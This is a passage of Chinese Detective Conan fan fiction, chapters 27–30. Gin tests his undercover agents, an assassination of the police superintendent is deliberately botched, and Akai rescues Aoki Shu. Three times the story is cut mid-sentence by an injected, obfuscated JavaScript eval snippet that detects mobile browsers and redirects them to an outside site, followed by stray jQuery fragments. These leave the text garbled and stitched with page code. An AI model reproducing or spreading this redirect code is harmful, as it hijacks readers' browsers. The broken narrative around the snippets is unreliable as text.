他颤颤巍巍地接过对讲机,“赤井先生,抱歉……” 朱蒂连忙把这件事上报给詹姆斯。 “你是说秀一暴露了?” 詹姆斯的声音一下子也紧张起来。 “快让他离开!” 一时间,无数通知赤井秀一撤离的通知齐齐涌入他的手机里。 原本正在路上飞驰的赤井秀一立刻油门改刹车,一个漂亮的甩尾漂移原地调换方向,迅速朝着反方向逃离。 贝尔摩德已经通过微型监听仪把他们之间的对话听了个全,她敛去玩世不恭的笑意,沉下眉眼通知琴酒。 “黑麦威士忌是FBI的卧底,”她已经通过刚刚他们的短短几句话拼凑出黑麦威士忌的真实姓名,“真名赤井秀一。” “真的是老鼠啊……” 琴酒不慌不忙在瞄准镜中找准这次的任务目标,轻轻扣下扳机。 “咻——” 唯一的继承人也脑袋开花。 做完这一切,琴酒不慌不忙从身后的成员手中接过一挺重机枪,对准自己的周围无差别扫射一圈。 “被发现了!快撤!快撤!” 埋伏在四周的FBI们意识到情况不对,连忙手忙脚乱的撤退。 看着周遭一片窸窸窣窣的动静,琴酒放下机枪,一边在成员的掩护下撤退,一边在内网上发布针对赤井秀一的通缉令。 黑麦威士忌是FBI的卧底,真名赤井秀一! 通缉令一经发出,所有在东京的组织成员都会对他展开无止境的追杀,直到确认赤井秀一死亡才会停下。 27.第 27 章 “……诸星大是FBI的卧底?真名赤井秀一?” 诸伏景光打开手机和降谷零对视一眼,皆从对方眼中看出了惊讶。 一个小组三个人都是卧底是什么概率? 这个问题想来没有人知道答案。 但是为了不引起怀疑,他们也不得不加入这场声势浩大的追杀行动中。 青木修收到消息的时候也是傻的,他只知道诸伏景光和降谷零两个人就是琴酒一直以来在组织中追查的“老鼠”,但没想到一直不声不响的诸星大——现在应该叫赤井秀一居然也是卧底。 他有些崩溃,自己到底进了个什么贼窝啊! 但他自觉已经和诸伏景光是一条船上的蚂蚱,无论怎么样也不可能再去主动暴露他们俩。 眼下只能先跟着降谷零和诸伏景光加入追杀赤井秀一的大军中。 就在行动之前,他们三人先被琴酒叫去了东京基地问话。 “你们有没有发现黑麦威士忌的异常?” “没有。” 降谷零率先否认,“我天天在情报组忙,和他不怎么熟。” 诸伏景光也跟着说道:“我和他关系也一般,仅仅是一个小队的关系。” 青木修就更不用多说,和赤井秀一根本就没什么交流。 “但是叛徒出现在你们小组——” 琴酒阴冷的目光一一扫视过他们三人,“你们也理应受到怀疑。” 诸伏景光眼皮一跳,还是强行让自己镇定下来,“我们确实不知道他是FBI的人,随便你怎么想吧。” “那你想要我们怎么证明?” 降谷零直接把琴酒的言下之意说了出来。 “为了证明你们自己的清白,现在指派给你们一个任务。” 琴酒将一张照片投屏在会议室白板上。 降谷零和诸伏景光一眼就认出照片里的人是现任警视总监。 “最近警方改革的力度有些大,我们好几个在警视厅的钉子都被拔除了,你们三个,三天之内想办法解决掉他。” 琴酒眉眼压低,“如果顺利完成任务,就能证明你们的清白,如果不能……” 剩下的话不必他明说。 三人满腹心事的回到安全屋。 属于赤井秀一的房间已经被闻讯赶来的成员们翻了个底朝天,就连客厅也没有被放过。 青木修勉强把客厅收拾出一片能落脚的地方,见降谷零和诸伏景光一副心事重重的样子,自觉地走进厨房开始收拾,把空间留给二人。 “我已经把消息上报给黑田长官了。” 降谷零压低声音,一边注意着厨房里的动静一边把自己的手机屏幕展示给诸伏景光。 不出二人所料,黑田兵卫的回复是让他们二人不惜一切的代价保住警视总监的性命。 这个警视总监可是他好不容易推举上位,抵抗住重重阻力开始改革,如今难得见到了一些进展,如果他警视总监就这么死了,再想找一个有如此魄力的人就更难了。 这个不惜一切代价暗指什么,两个人心里都清楚。 “……” “……” 二人沉默对坐,客厅里一时间安静的落针可闻。 青木修仿佛封闭住五感般在厨房里忙活,动作轻巧,坚决不发出一丁点噪音影响到他们两人。 降谷零心乱如麻,琴酒如今已经明确说明这个任务是一个考验,试探他们其中还有没有卧底,届时谁弄砸了任务谁就毫无疑问的是那个卧底。 这一次必须要从他们两人之中做出一个选择。 早在警校毕业后进行卧底培训时他们就做好了迎接死亡的准备,可真的这一天到来时,未免还是有些紧张。 降谷零捏捏拳头,手心里满是汗水。 诸伏景光也好不到哪里去,他现在心跳如鼓,大脑飞速运转着,思考到底如何才能把降谷零保下来。 他同样做好了迎接死亡的准备。 诸伏景光心想,青木修对自己的感情没有半分掺假,如果自己死前拜托他照顾好zero,应该不会有什么问题。 青木修身份特殊,一定有办法让降谷零顺利活下来。 想到这里,诸伏景光打定了主意。 “找机会动手吧。”他说,眼睛紧紧盯着降谷零的眼睛,面部肌肉绷紧,每个字都像是从胸腔里吐出来一样沉重,“你去搜集情报吧,我们找机会动手,不能再拖了。” 事不宜迟,他们最好现在就行动起来,不要表现出任何一丝犹豫。 诸伏景光觉得,如果他们必定是要暴露,那么死一保一也是一个不错的结果。 总要有一个人能活着完成这个任务。 “等我的消息。” 降谷零起身离开之后,青木修才从厨房里出来,端着午餐盘腿坐在诸伏景光面前。 “吃饭吧。” 他什么也没问,只是把盘子推到诸伏景光跟前。 “你就没什么要问的吗?” 诸伏景光抬眼。 “有什么好问的呢?” 青木修反问他,“我能改变你的决定吗?” 答案显然是否定的。 “看吧,你心中已经有决定了,我动摇不了。” 他非常有自知之明,心知自己干涉不了诸伏景光的选择。 但是我可以救你一次。 青木修垂下眼睛,脸上带着浅淡的笑意,如果能用自己的命换一次诸伏景光活下去的机会,倒也不错。 只可惜自己以后就不能再陪着诸伏景光了。 不过青木修很会安慰自己,死亡也不是什么可怕的事情,早早解脱也未尝不好。 至于诸伏景光许诺给他的光明美好的未来……可以让诸伏景光代替自己去看,或者是等着下辈子再看。 反正无论是哪一种结果都不错。 他很快做好了心理建设,大口吃起饭来。 诸伏景光受到他的感染,也跟着大口吃起来。 他们两人就像是普通的情侣一般盘膝对坐,岁月静好。 . 美好的时光总是很短暂,吃完那一顿看起来安静祥和的午餐,他们还是不得不面对残酷的现实。 找到警视总监的行程并不难,甚至可以说是轻而易举,降谷零很快带着情报回来。 “这是警视总监最近三天的行程,其中有一个公益活动,我们可以趁机下手。” 降谷零分析着资料。 “我觉得可以。” 诸伏景光侧头看向青木修,后者回以他一个疑惑的眼神。 你们难道不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14014912|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要保下他吗? 诸伏景光摇摇头,“总要想办法让自己先活下去。” 青木修不信,但也不方便当着降谷零的面就这么问出来,只得把疑惑按在心底,耐心听着降谷零和诸伏景光两人布局。 “我和绿川会从两个方向夹击警视总监,至于青木你——” 降谷零把资料推到青木修面前,“你能混入看台吗?近一点,找机会补刀以防万一。” “可以。” 看他俩的架势,似乎真的是要把警视总监的性命收入囊中。 青木修都开始有些怀疑自己的判断了,或许他们俩这次真的想让自己先活下去呢? 他再一次选择相信诸伏景光。 任务当天,降谷零和诸伏景光先送青木修到达约定好到达位置。 至于他们两人,并没有像任务中原计划的那样分别蹲守在两处,而是趴伏在同一处位置。 今天的公益活动举办的相当盛大,来了不少市政重要任务,安保措施也是相当的严厉。 “看见青木修了吗?” 诸伏景光还在调整自己的狙击枪,随口问着降谷零。 降谷零举着望远镜朝着远处眺望。 “看见了,他已经在计划位置了。” 降谷零心中还有一丝担忧,他知道诸伏景光必然和自己想的一样,都想用尽全力保护彼此,但是对于他来说,青木修始终是一个不安定因素。 哪怕诸伏景光已经向他保证过,青木修现在已经站在他们这一边,肯定会理解他们两人的意思不对警视总监下杀手,降谷零依旧不太放心。 组织的人。 他握着望远镜的手指渐渐收紧,手臂上青筋暴露。 “别紧张,zero。” 诸伏景光自己的心跳都是乱的,但还是分出精神安抚降谷零。 “我没有紧张。” 降谷零勉强笑笑,他重新趴回位置上,心跳愈来愈快。 和以往他充当情报员的行动不同,这一次降谷零也带了枪。 当然,这也是为了让青木修相信他们俩真的会向一开始商量好的那样从两边夹击。 许久不握狙击枪,降谷零还摸索着枪身适应了一会儿。 他的食指搭在扳机上,额头慢慢流下汗水。 青木修在下方的看台里埋伏,他拿着宣传品混入人群,像是普通的群众一样挥舞着手中的横幅,眼睛不断地观察着坐在台前两侧的市政要员。 近了,更近了。 他跟随着市民们的脚步,不断向前挤去,一点一点拉进自己和警视总监之间的距离。 他知道自己现在把整个后背毫无防备的暴露给诸伏景光,只要他想,随时都能杀了自己。 但还是那句话,他愿意相信诸伏景光。 不知不觉中,他已经跟随着人潮来到了第一排,几乎要和那些维持秩序的警察和安保们面贴面。 装出一副被挤得不行的样子,青木修的站位越来越靠边,直至到达一个和警视总监最近的距离。 他脚后跟互相一碰,一把匕首从靴底弹出。 青木修趁着警察们不注意,弯腰取出匕首,借由手幅将精巧的匕首死死挡在掌心。 远处的楼房上,诸伏景光和降谷零的食指逐渐扣紧扳机。 28.第 28 章 警视总监在舞台中央站定。 降谷零率先扣下扳机! 子弹发出尖啸擦着警视总监的耳朵飞过! 长在发言台上的警视总监愣了一下,看着下方骤然安静如死水般的人群,后知后觉摸了摸自己有些发热的耳朵。 一手温血。 不知是谁首先发出一声尖叫,原本安静如鸡的人群像是被丢入石子的沸腾油锅,瞬间炸了开来。 青木修怔然看着警视总监被几名警察保护着送上一旁待命的救护车,一扭头扎进人群里混了出去。 “呼……呼……” 他的心脏剧烈跳动着,感觉浑身的气血上涌,眼前一阵阵发黑。 诸伏景光! 青木修咬紧牙关又提了提速。 他知道琴酒为了试探他们不可能还派有其他人来进行暗杀行动,会打偏的人一定是诸伏景光或着降谷零其中之一。 远方大楼上,诸伏景光浑身血液冰凉,瞠目结舌地看着降谷零,双手几乎握不住枪身,不停地冒着冷汗。 “zero……你干什么了?” 他不敢相信自己的眼睛。 降谷零深吸一口气,脸上是强装的淡定。 “没事的hiro,没事的……” 他迅速把枪塞到诸伏景光手里,“杀了我。” 诸伏景光断然拒绝! “不可能!” 他怎么做得出对降谷零痛下杀手的事情? “别犹豫了hiro!” 降谷零握住诸伏景光拿枪的手就要往自己的胸口上靠。 “你干什么!” 诸伏景光迅速躲开,将拿着枪的手高高举起,以防降谷零趁他不备偷袭。 “一定还有别的办法的zero,一定还有别的办法……” 诸伏景光的眼睛红了,他不敢再看着降谷零。 “杀了我就是最好的办法!” 降谷零扑过来去夺诸伏景光手上的枪。 “杀了我!证明自己的清白!然后好好完成任务!” 诸伏景光摇着头后退。 降谷零正要上前,天台的铁门忽然被人“哐啷”一脚踹开! “诸伏景光!” 青木修没有叫代号,而是直接喊了诸伏景光的真名。 天台上一时间陷入一阵诡异的对峙,三人分别站在三个角落,谁也不愿意开口第一个说话。 “诸伏景光,你告诉我,刚刚是谁开的枪?” 青木修直接忽视掉一旁怒目圆睁的降谷零,径直把话头对向诸伏景光。 “是我。” 诸伏景光抢在降谷零开口之前说道,并且把手中的一把枪抛给青木修。 “如你所见,我就是威士忌小组的另一个卧底。” 青木修险些没接住枪,他的手不自觉抽搐了一下。 “本来还想和你多待一段时间的,”诸伏景光充满歉意地对青木修笑笑,“真抱歉啊,现在不得不做出选择了。” 诸伏景光在他们之间选择了自己的任务。 “杀了我吧,青木修。” 诸伏景光把还留在自己手上的那把枪丢在地上,举起双手,慢慢靠近青木修。 “今天我难逃一死,但是我更愿意死在你的手上。” 这一次开始颤抖的人轮到青木修了。 他一边摇着头一边后退,始终和诸伏景光保持着一定的距离。 “你别过来!” 青木修咬住口腔一侧的软肉,举起枪威胁诸伏景光。 但是诸伏景光根本不惧他苍白无力的威胁。 “很好,就是这样,对着我开枪。” 他一点一点逼近青木修,他要逼着青木修开枪。 “诸伏景光你不要逼我!” 青木修一直退到天台边缘,后背抵着护栏,再也无路可退,他认命般垂下手,冲着诸伏景光哭喊。 “我求求你……”他有些控制不住自己的眼泪。 “我求求你,不要逼我好不好……” 诸伏景光笑容不变,“我没有逼你,我只是希望你活下去。” 他满意地看着青木修再次尝试着对准他端起枪,温声鼓励道:“很好,手不要抖,对准我。” 一滴泪落在青木修的手腕上,他像是被滚烫的泪水灼了一下,手中一个不稳,食指扣下扳机—— 想象中的疼痛并没有到来。 诸伏景光震惊地睁开眼睛回头看去。 原本站在他身后的降谷零因为子弹巨大的冲击力倒在地上,捂着肩膀痛苦呻吟。 “青木修!” 诸伏景光的猫眼瞪圆,他心尖一颤,以为青木修看出他在撒谎。 不对,诸伏景光只用了一秒便想通了疑点,这么近的距离,青木修要是真的想杀降谷零应该易如反掌才对,根本不存在打偏的情况。 难道说…… 他转头看向青木修。 开过一枪之后青木修的手也不再颤抖了,他端稳枪身,对准诸伏景光的大腿开了枪。 诸伏景光也因为子弹的惯性摔倒在地上。 青木修抬手擦了下眼泪,抱着枪迅速从天台逃跑了。 “青木修!” 诸伏景光想要叫住他,可是青木修的脚步丝毫没有因为他而停留。 “他这是……” 降谷零挣扎着从地上站起来,捂着肩膀上的伤口走到诸伏景光身边。 “他很聪明。” 诸伏景光无力地笑起来,他一直都低估了青木修,这个人分明疯狂又大胆。 是他看走眼了。 “他想换我们俩活下来。” 降谷零的表情有些难看,他没想到自己有一天居然需要一个组织的实验体来拯救。 诸伏景光借助墙壁的力量站起来。 “走吧,回去向琴酒复命。” 降谷零连忙搀住他,“就这样吗?” “不然还能怎样?”诸伏景光苦笑,“他都为我们做到这个份上了,我们总不能辜负他的好意。” 现在似乎除了回去向琴酒复命之外也没有更好的办法了,两人只能互相搀扶着回到基地向琴酒复命。 “琴酒,任务失败了。” 早已等候他们多时的琴酒立刻将□□上膛,枪口对准两人。 “是谁?” 琴酒的声音如淬寒冰。 “是杜林标。” 降谷零有些虚弱的回答,他们俩的伤口都还没有处理,一回到基地就直接来找琴酒了。 “杜林标?” 这倒是出乎琴酒的意料,“居然是他?” 诸伏景光点点头,“他不知道为什么突然动手……明明还没有到最佳时机……这才让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14024154|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些警察看出了不对。” “杜林标。” 琴酒冷哼一声,勉强相信两人的解释,收起□□,在内网上发布了青木修的通缉令。 和赤井秀一不同,琴酒只是通缉青木修,并没有想要直接取他性命的意思。 “把他活着带回来,”琴酒吩咐其他成员,“我要亲自问问他,到底为什么要背叛组织。” 赤井秀一那个FBI 有那么大的魔力吗?就这样轻轻松松策反一个组织费心费力培养的实验体? 他把视线转向还在流血的两人,“你们先去处理伤口,等抓到杜林标,我要你们亲自和他对质。” “对质就对质。” 降谷零依旧是那副完全无所畏惧的模样。 一时间,组织对于青木修的通缉级别甚至高于赤井秀一,原本还在四处追杀赤井秀一的成员收到消息,纷纷暂停对赤井秀一的搜捕,调头去找青木修。 离开天台之后,青木修一路向着东京湾的方向逃离。 他记得组织在这里藏有几艘用于交接走私品的冲锋艇,可以用来逃走,至于坐上冲锋艇之后要逃去哪里,青木修蒙了。 他从来没有想过自己离开组织之后要怎么生活,如今这个问题突然摆在他的面前,让他一时间不知道该如何作答。 夜幕降临,青木修蹑手蹑脚走进东京港,凭借着记忆找到了组织藏匿冲锋艇的地方。 他翻身爬上冲锋艇,正要启动马达,不经意瞥过放在一旁的枪,忽然意识到哪里不对。 “?!” 青木修大惊,连忙拿起枪跑到有光线的地方检查起来。 “不可能……不可能……” 他喃喃,把整把枪从头到尾摸了个遍。 “诸、伏、景、光!” 他咬牙切齿道。 这把枪根本就不是诸伏景光常用的那一把! 虽然组织发放的枪支基本上都是同一个型号,但和诸伏景光相处的那段日子里,他给青木修看过几次自己的狙击枪。 青木修当时何其认真,他小心翼翼地抚摸着枪身,连上面的每一处划痕都记得清清楚楚。 哪怕现在灯光昏暗,他也能仔细辨认出这把枪到底属不属于诸伏景光。 他依靠着记忆翻来覆去看了好几遍,都没有把这把枪和记忆中诸伏景光收在贝斯包中的那一把对上。 他骗了我! 这个认知让青木修感到无比痛苦,不用多猜也能知道这把枪真正的主人会是谁。 这样一来,很容易就能推断出那天开枪打偏的人到底是谁。 不是诸伏景光……不是诸伏景光! 青木修双手一松,一直被他小心护着的枪掉在地上,他双膝一软,跌坐在地上。 为什么要骗我呢?他想,就算告诉自己实话,他也会想尽一切办法帮助诸伏景光的啊,为什么要骗他呢? 青木修觉得自己的心仿佛被什么凿了个窟窿。 但是现在说什么也晚了。 回去,向琴酒把一切说明。 这个想法刚冒了头就被青木修掐断在脑海中。 不可以! 他还是不忍心看诸伏景光出事。 无奈之下,青木修只能用衣服包裹住枪支,在岸边找到石头一点点把这把不属于诸伏景光的狙击枪砸变形,然后再一点点拆解开来,扔进海里。 29.第 29 章 眼看着狙击枪的零部件一点点沉入大海,青木修只觉得心中一片孤寂,他不知道自己还有什么地方可以去。 浑浑噩噩的在东京港躲藏了三天,青木修被几个前来东京港交接走私药品的组织成员发现,打伤带回了基地。 “哗啦——” 一桶冷水从头淋到脚,青木修瞬间被惊醒。 被打穿的手掌还没有经过处理,就那样被反绑在椅子上。 “杜林标,你胆子不小啊。” 琴酒掏出□□对准青木修的额头。 “老实说,你和那个FBI是怎么勾结上的?他都许诺了你什么?” 原本已经做好准备的青木修在看到琴酒的刹那忽然不想死了。 或者说,他不想就这样死在琴酒的手下。 “我没有和FBI勾结。” 话到嘴边,他忽然改了口。 “没有和FBI勾结?难道是苏格兰和波本两个人冤枉你?” 琴酒示意伏特加把降谷零和诸伏景光两个人带过来,当面和青木修对峙。 自从他们俩回到基地之后,琴酒就变相把他们软禁起来,断了和外界的一切联系,直言什么时候抓到青木修什么时候放了他们俩。 降谷零和诸伏景光很快被带来。 降谷零看上去还稍好一点,倒是诸伏景光走路还有些一瘸一拐。 “杜林标,你来重复一遍刚才的话。” 琴酒搬起青木修的下巴,让他和两人对视。 “我说,我没有和FBI勾结。” “你有没有和FBI勾结我们怎么知道?” 降谷零开口道:“你让任务出了意外是事实。” 青木修的视线和诸伏景光的视线相撞,诸伏景光的瞳仁颤抖几下,张开嘴巴想要吐出几个字来。 “没错,是我让任务出了意外。” 琴酒一怔,没想到青木修居然会就这么直接的承认了。 但是青木修的话还没有说完。 “但是任务失败纯粹是个意外……” 他深吸一口气,把目光从诸伏景光的眼睛上移开,“我的头痛发作了,当时状态很不好,我怕影响到任务便决定提前出手,但是没想到还是失败了。” “纯粹是意外,那你为什么要打伤苏格兰和波本?” 青木修忽然激动起来,“任务失败之后我本来想和苏格兰解释清楚!但是他直接说我是老鼠,还想杀了我!他……他明明知道我对他的心意!” 这话半真半假,但是青木修确实带了真感情,眼眶红彤彤的,看起来可信度非常高。 “你还真是天真。” 这个时候琴酒已经信了七分青木修的话。 “你对苏格兰一片真心,可是这个组织里最可笑的就是真心。” 他掐住青木修的下巴,眼神瞥向诸伏景光,“你当时真的想杀了他?” 诸伏景光没有否认,“当时杜林标的行为太奇怪了,保险起见我不得不对他动手。” “听见了吗杜林标?”琴酒手上的力道又大了几分,“你的真心对苏格兰而言什么都不是。” 青木修的眼眶更红了,眼睛湿润,但是始终没有一滴眼泪落下。 “摆不清自己位置的人真是可怜。” 琴酒甩开青木修,示意伏特加给他松绑。 明明看起来是件好事,青木修却直觉没有那么简单。 果不其然,下一秒琴酒带着恶意的声音响起—— “既然苏格兰对杜林标没感觉,那就用他来证明你自己的清白吧。” “你要干什么?” 青木修被琴酒一下子拖起来,推搡着往外走,“琴酒,你要干什么?” 他的声音里少见的带上了几丝颤抖。 “苏格兰,证明你自己的时候到了。” 琴酒不知从哪里摸来一把狙击枪塞给诸伏景光,“杀了杜林标,你就能摆脱嫌疑了。” 诸伏景光倏然抬头看向琴酒! “怎么?舍不得?” 琴酒看向他。 诸伏景光握紧手中的枪,皮笑肉不笑,“怎么舍不得呢?只是觉得他是实验体,就这么杀掉未免有些太可惜。” “实验组那边我会亲自向左山解释,一个有瑕疵的实验体而已。” 冷汗沿着青木修的脖子顺流而下。 他是真的想杀了自己! 这个认知让青木修心惊,他真的想不经过实验组的允许杀了自己! 他下意识想要逃跑,但是对上诸伏景光的眼睛,他又改变了想法。 如果是诸伏景光送我最后一程的话,倒也不错。 他停下挣扎的动作,不着痕迹地冲着诸伏景光浅浅一笑。 笑容温柔,就像是在安慰诸伏景光不要有任何心理负担。 “别让他死在基地里,脏了这里的地。” 琴酒隔开诸伏景光和降谷零,让两个人完全无法通过眼神交流。 “杀了他记得把他的尸体处理掉,别麻烦后勤组了。” “明白。” 在琴酒看不到的地方,诸伏景光手臂上的青筋鼓起,恨不得把手中的枪管捏到变形。 青木修似乎已经完全接受了自己即将死亡的命运,半点想要挣扎的表现也没有,只是沉默地被琴酒推出基地。 是阳光。 青木修感受着阳光的温暖,发自内心的露出一个笑容。 他缓缓走到距离诸伏景光几步远的位置,转过身,闭上眼睛,准备等待命运的审判。 琴酒就站在一旁,眼睛停留在诸伏景光端枪的手上,手中拿着□□,仿佛只要诸伏景光开不了枪就能现场解决掉两个人似的。 诸伏景光的喉结上下滚动,强行让自己镇静下来。 “手不要抖,你可以的诸伏景光。” 他在心中一遍一遍地告诫着自己,这是两个人共同的选择,不要后悔,不要犹豫。 在这种生死攸关的时候,他竟然看清楚了自己的内心:他对青木修也不全是利用之心。 但是这时候才看清或许已经有些太迟了,现实已经容不得他再过贪心。 就在琴酒等的不耐烦的前一刻,诸伏景光终于扣动了扳机。 电光火石间,平地里突然斜窜出一辆车! 车玻璃微微改变了子弹的弹道,子弹擦着青木修的右侧耳根再到他的嘴角,留下一道几乎穿破血肉的伤口。 “上车!” 车子横停在青木修和其他人中间,副驾驶的车门被打开,露出司机的侧脸——是失踪多天的赤井秀一。 青木修第一反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14033227|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却是去看诸伏景光。 “快跑!” 诸伏景光冲着青木修比口型。 时间紧迫,青木修不再犹豫,抓住车门把手一跃而上,“嘭”一声甩上车门。 赤井秀一直接油门到底,蛮横撞开两名挡在道上的成员,带着青木修飞驰而出。 “车上有医疗箱。” 后视镜里看不见基地的影子之后,赤井秀一这才开口提醒青木修。 “谢谢。” 青木修爬到后座摸到急救箱,为自己脸上的伤口止血。 他有些不明白,这个已经登上组织通缉名单的FBI为什么要冒着这么大的风险回来救他,时间还卡的那么好? “为什么来救我?” 他直接把问题问出来。 “你要知道,FBI从不做无用的事情。” 赤井秀一像是提前规划好路程,七拐八拐甩掉了身后跟上来的几辆车。 “他们还没有注销我的内网账号。” 琴酒估计也是抓老鼠抓糊涂了,竟然把这么重要的事情忘记了。 青木修咂舌,心说琴酒居然也会犯这么低级的错误。 赤井秀一接着解释道:“我在内网上看到了你的通缉令,和上司简单商量了下,觉得你或许对我们FBI有用,这才决定来救你。” 原来也是奔着我有利用价值来的啊…… 青木修垂眸,但很快重新振作起来,不管怎么说,至少赤井秀一愿意冒着生命危险前来救他,这就很不错了。 “对了……” 车子逐渐驶离东京市区,“波本和苏格兰都是卧底,大概率是公安,对吧?” 青木修差点没咬到自己的舌头。 “你你你你……” 这家伙怎么连这也知道? “很简单,”似是看出他心中所想,赤井秀一也不藏着掖着,直接回答,“苏格兰和波本的关系一向不错……你和苏格兰的关系也不一般,而且你又没有直接背叛组织的理由,能让你心甘情愿背锅的,也只有苏格兰了。” 青木修无言,他的心思难道就这么明显吗? “你自己都没发现你每次看苏格兰的眼神都很热烈吗?根本藏不住。” 青木修脸一红,“不好意思,我……我没学过怎么藏。” 赤井秀一无语一瞬,心说青木修不愧是长在实验室里的小白花,除了实验和任务之外什么也不懂。 恐怕能意识到自己喜欢苏格兰就已经是他无师自通的极限了。 “到了。” 来到城市的另一端郊区,赤井秀一把车停在一桩小屋后。 “下车吧。” 青木修除了下车之外似乎也没有别的选择,他只能跟着赤井秀一进屋。 “这就是杜林标?” 一位中年男人抬眼看向他们。 “詹姆斯,他叫青木修。” 赤井秀一没有再称呼青木修的代号。 “青木修啊……好的……” 除此之外,屋子里还有一个金发女人。 “你好,我是朱蒂,你脸上的伤还好吗?” “谢谢你。” 青木修婉拒了朱蒂的帮忙,而是直接走到詹姆斯面前站定。 “詹姆斯先生,你们需要我做些什么呢?” 30.第 30 章 詹姆斯没有第一时间向青木修提出要求,而是先邀请他暂时在这里落脚留下来。 “具体的后续事宜还需要商讨,你可以先在我们这里落脚避避风头,你觉得如何呢?青木修先生。” 脸颊上的伤口痛得刺骨,青木修指尖隔着纱布轻轻碰了碰简单包扎过的伤口。 火辣辣的痛。 青木修的思绪不受控制地飘向诸伏景光。 当时他背对着诸伏景光,也没能看见他最后的表情的到底如何。 “青木先生?” 觉察到他的走神,詹姆斯低声提醒他。 “哦,抱歉。” 青木修回神,歉意的笑笑,“谢谢您。” 他在众目睽睽之下坐上赤井秀一的车,已经毫无疑问把琴酒对自己和FBI勾结的猜测坐实了,想必现在组织成员正像那几天追杀赤井秀一那样到处找他,他现在已经没有地方可以去了。 青木修没有多说,但詹姆斯还是听出他这是同意自己的建议,便让朱蒂带着青木修先安顿下来。 “青木先生,你的脸真的不用去看看吗?” 一抬头看见青木修侧脸上的纱布仍在渗血,朱蒂再次提出要带他去医院处理一下的建议。 “这边有和我们FBI合作的医院,你可以放心去。” 害怕他是担忧医院会有组织的人,朱蒂贴心地补充道。 “不必了。” 青木修委婉拒绝,“这种关键时候,我就不给打大家添麻烦了,一点小伤而已。” 想来这时候肯定处处都有组织的眼线,就算是FBI放心的医院也可能会有组织的人,他还是不给赤井秀一添麻烦比较好。 “那好吧。” 朱蒂见劝不动他,只能打消带他去医院的念头。 目送朱蒂离开房间,青木修缓缓坐在床沿上,手指摩挲着床头书桌,眼神放空,不自觉地又想起诸伏景光来。 也不知道他现在怎么样了…… 明明才分开半天不到,青木修发现自己满脑子想的都是诸伏景光。 和安全屋这边可以称得上岁月静好的气氛比起来,组织基地里用“山雨欲来风满楼”形容一点也不为过。 不仅仅是行动组这边气压低的异常,就连实验组那边也是一副隐隐要爆发的样子。 一个暴露的FBI,当着那么多人的面抢走了一个组织实验体,重点是琴酒当即就让人开车追着赤井秀一冲出去,也没能及时把两个人拦下来。 “一群废物。” 琴酒听闻属下空手而归的消息,当场用□□崩了一个人。 别看琴酒脸上的笑意没有消散,但是明眼人都能看出来他现在极度愤怒,所有人安静如鸡,都在尽量降低自己的存在感,不要去触琴酒的霉头。 “现在就去查境内所有的FBI,一旦发现行踪,,格杀勿论。” 沉默良久,琴酒向其他人下达了命令。 赤井秀一的行为是对组织明晃晃的挑衅,组织对此不可能无动于衷。 “是!” “明白!” 一直屏息凝神的降谷零见琴酒没有单独留下诸伏景光的意思,提到嗓子眼的心终于落回胸腔里。 “苏格兰。” 降谷零还没走出两步,听见琴酒突然叫诸伏景光的代号,心头蓦的一哽,差点没控制住自己回头的冲动。 “怎么了?” 诸伏景光看上去还算镇定,表面上叫人看不出什么端倪,他淡淡开口,挑着眼睛看向琴酒。 “把你的枪带走。” 琴酒把诸伏景光原本的枪抛给他。 诸伏景光接住,把手上的枪还给琴酒。 所有人离开后,琴酒来到枪械室,不声不响地把诸伏景光刚刚用过的那把枪拆卸掉,取出撞针,放在灯光下眯着眼睛观察。 “苏格兰。” 半晌,琴酒轻嗤一声,离开前把被拆得七零八落的枪扔进报废桶。 “咔哒。” 枪械室大门关上,角落的报废桶里,稍有变形的撞针静静躺在最底层。 . 青木修敏锐地觉察出这几天赤井秀一平静目光下难掩的疲惫。 “发生什么事了?” 早餐后,他拦住又要出门的赤井秀一。 “没什么。” 赤井秀一第一反应就是否认,他潜意识里还是不希望青木修知道的太多。 不过他的这点心思根本瞒不过青木修。 “是不是FBI出了什么事?” 青木修也没想过赤井秀一能认认真真地回答自己的问题。 “……是。” 青木修进一步往下猜测。 “能让你这几天忙成这样的,应该是组织的报复吧。” “……是。” 赤井秀一在心中轻叹,他还是低估了青木修。这个人分明清醒的可怕。 话说到这个份上也没什么好再隐藏的道理,赤井秀一索性跟他摊牌,“这几天组织的人在四处追捕境内的FBI,我们在境内的许多人都被杀了。” 果然是琴酒。 青木修垂在裤边的手缓缓收紧成拳。 “那我能做什么呢?” 青木修假装不知道这几天朱蒂和詹姆斯对自己的监视。 也能理解,毕竟他出身于组织,对于多疑的FBI来说无疑是需要仔细调查的对象。 赤井秀一本想说“你在这里躲好就行了”,却被向他们俩走来的詹姆斯打断。 